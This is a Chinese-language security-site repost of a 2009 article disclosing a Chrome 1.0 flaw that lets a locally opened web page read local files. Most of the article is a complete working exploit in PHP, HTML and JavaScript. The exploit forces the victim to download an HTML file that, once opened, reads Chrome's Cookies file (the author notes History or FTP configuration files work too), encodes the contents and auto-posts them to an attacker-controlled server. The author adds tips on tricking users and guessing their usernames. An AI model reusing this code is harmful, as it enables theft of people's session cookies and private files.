首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Google Chrome使用ajax读取本地文件漏洞
来源:http://www.inbreak.net/?action=show&id=151 作者:空虚浪子心 发布时间:2009-04-23  

by 空虚浪子心

google的浏览器Chrome1.0.154.53(目前最新),存在ajax读取本地文件漏洞。

利用该漏洞可以读取本地文本文件,并提交出来。

而Chrome的cookie默认保存在“C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

读取这个文件,然后提交,前提是文件在本地打开,但是如何欺骗用户在本地打开呢?

看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?   
/*  
#     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
#     www.inbreak.net   
#     author voidloafer@gmail.com 2009-4-22    
#     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
*/  
header("Content-Disposition: attachment;filename=kxlzx.htm");   
header("Content-type: application/kxlzx");   
/*  
#     set header, so just download html file,and open it at local.  
*/  
?>   
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="POST">   
    <input id="input" name="cookie" value="" type="hidden">   
</form>   
<script>   
function doMyAjax(user)   
{   
       var time = Math.random();   
/*  
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
and so on...  
*/  
        var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
 
       startRequest(strPer);   
 
}   
 
function Enshellcode(txt)   
{   
var url=new String(txt);   
var i=0,l=0,k=0,curl="";   
l= url.length;   
for(;i<l;i++){   
k=url.charCodeAt(i);   
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
if (l%2){curl+="00";}else{curl+="0000";}   
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
return curl;   
}   
 
 
var xmlHttp;   
function createXMLHttp(){   
    if(window.XMLHttpRequest){   
        xmlHttp = new XMLHttpRequest();           
    }   
    else if(window.ActiveXObject){   
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
    }   
}   
 
function startRequest(doUrl){   
 
   createXMLHttp();   
 
   xmlHttp.onreadystatechange = handleStateChange;   
 
   xmlHttp.open("GET", doUrl, true);   
 
   xmlHttp.send(null);   
 
 
}    
 
function handleStateChange(){   
    if (xmlHttp.readyState == 4 ){   
            var strResponse = "";   
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);    
 
    }   
}   
 
 
function framekxlzxPost(text)   
{   
    document.getElementById("input").value = Enshellcode(text);   
    document.getElementById("form").submit();   
 }   
 
doMyAjax("administrator");   
 
</script>

注意,本代码上传TXT之前,已经做了加密,为了保证文件的完整性,具体的解密,请看

http://cha88.cn/safe/glacierlk.php

选择shellcode解密

浏览器会自动下在这个html文件,保存为kxlzx.htm。
thumb_aa2fa2f2e56a0ab7abfb68c52142f14a
下载后,用户肯定会去看看下载了什么,打开htm(在本地)。

打开后,执行JS,把本地的cookie,history等(可自定义),上传到恶意用户制定地方。

POC可以根据实际情况改进。有以下几点注意:

几点说明:
1,不一定非要读取cookie,你也可以读取其他东西,比如ftp软件的ini配置文件等,只要是txt就能读取。
2,读取cookie必须预测本地用户名,不过很多人都是administrator。
3,反正ajax是异步,你可以同时调用几个方法。
4,或者你可以发送任何想要的本地TXT文件。

其实这个漏洞和我以前发的opera本地读取漏洞是一个道理的。

但是会比他严重一点,因为Chrome的cookie文件地址是固定的。

POC:

http://www.inbreak.net/kxlzxtest/testxss/Chrome.php


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·server limit dos
·尘月网络企业网站智能管理系统漏
·hzhost6.5虚拟主机管理系统最新S
·2009-4 应用安全漏洞 选录
·Bo-Blog 2.0.3 注射漏洞
·php mail function open_basedir
·php pear mail包任意文件读写漏
·Discuz!论坛wap功能模块编码的注
·浅析LxBlog V6变量未初始化漏洞
·魅力企业网站管理系统 2009 SP3
·phpcms2008-0day ask/search_aja
·安全模式下exec等函数安全隐患
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved